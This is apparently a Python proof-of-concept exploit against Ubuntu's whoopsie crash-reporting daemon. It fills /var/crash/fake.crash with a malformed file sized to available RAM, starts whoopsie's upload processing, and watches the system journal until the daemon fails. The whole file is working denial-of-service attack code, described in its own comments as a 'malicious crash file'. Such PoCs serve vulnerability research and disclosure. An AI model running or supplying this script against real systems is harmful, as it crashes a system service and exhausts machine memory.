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whoopsie_killer2/whoopsie_killer2.py /
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| #!/usr/bin/python3 | |
| import os,sys,math,time | |
| import argparse | |
| import select | |
| from pathlib import Path | |
| from systemd import journal | |
| def usable_ram(): | |
| data = {} | |
| old_keys = set() | |
| with open('/proc/meminfo', 'r') as f: | |
| for line in f: | |
| (key, value) = line.split(":", 2) | |
| value = value.strip() | |
| data[key] = value | |
| old_keys = set(data.keys()) | |
| memfree = int(data['MemFree'].split()[0]) | |
| cached = int(data['Cached'].split()[0]) | |
| writeback = int(data['Writeback'].split()[0]) | |
| return (memfree + cached - writeback) * 1024 | |
| def report_gen(balance): | |
| print('Create a malformed crash file... (in /var/crash/fake.crash)') | |
| memory = usable_ram() | |
| contents = 'A' * int(memory/balance) | |
| count = balance + 1 | |
| with open('/var/crash/fake.crash', 'w') as f: | |
| for i in range (count): | |
| f.write(contents) | |
| os.sync() | |
| def progress_gen(message): | |
| i = 0 | |
| while True: | |
| for x in range(0, 4): | |
| dots = "." * x | |
| sys.stdout.write("{}\r".format(message + dots)) | |
| i += 1 | |
| time.sleep(0.5) | |
| sys.stdout.write("\033[K") | |
| yield | |
| def journal_log(): | |
| j = journal.Reader() | |
| j.log_level(journal.LOG_INFO) | |
| j.seek_tail() | |
| j.get_previous() | |
| p = select.poll() | |
| p.register(j, j.get_events()) | |
| x = progress_gen('Waiting') | |
| while p.poll(): | |
| if j.process() != journal.APPEND: | |
| continue | |
| for entry in j: | |
| try: | |
| if entry['MESSAGE'] != "" and str(entry['_COMM']) == 'whoopsie': | |
| print(entry['MESSAGE']) | |
| except: | |
| print('whoopsie fails to trap exception during parsing') | |
| print('=> ' + entry['MESSAGE']) | |
| return | |
| next(x) | |
| def main(): | |
| try: | |
| Path('/var/crash/fake.crash').unlink() | |
| Path('/var/crash/fake.upload').unlink() | |
| Path('/var/crash/fake.uploaded').unlink() | |
| except: | |
| pass | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument('--balance', default='5', type=int) | |
| balance = parser.parse_args().balance | |
| # Create a malicious crash file to trap exception on whoopsie daemon | |
| report_gen(balance) | |
| # Start the process; parsing -> uploading -> ... | |
| Path('/var/crash/fake.upload').touch() | |
| # Wait until that happens | |
| journal_log() | |
| # Stop the process | |
| Path('/var/crash/fake.upload').unlink() | |
| if __name__ == '__main__': | |
| main() |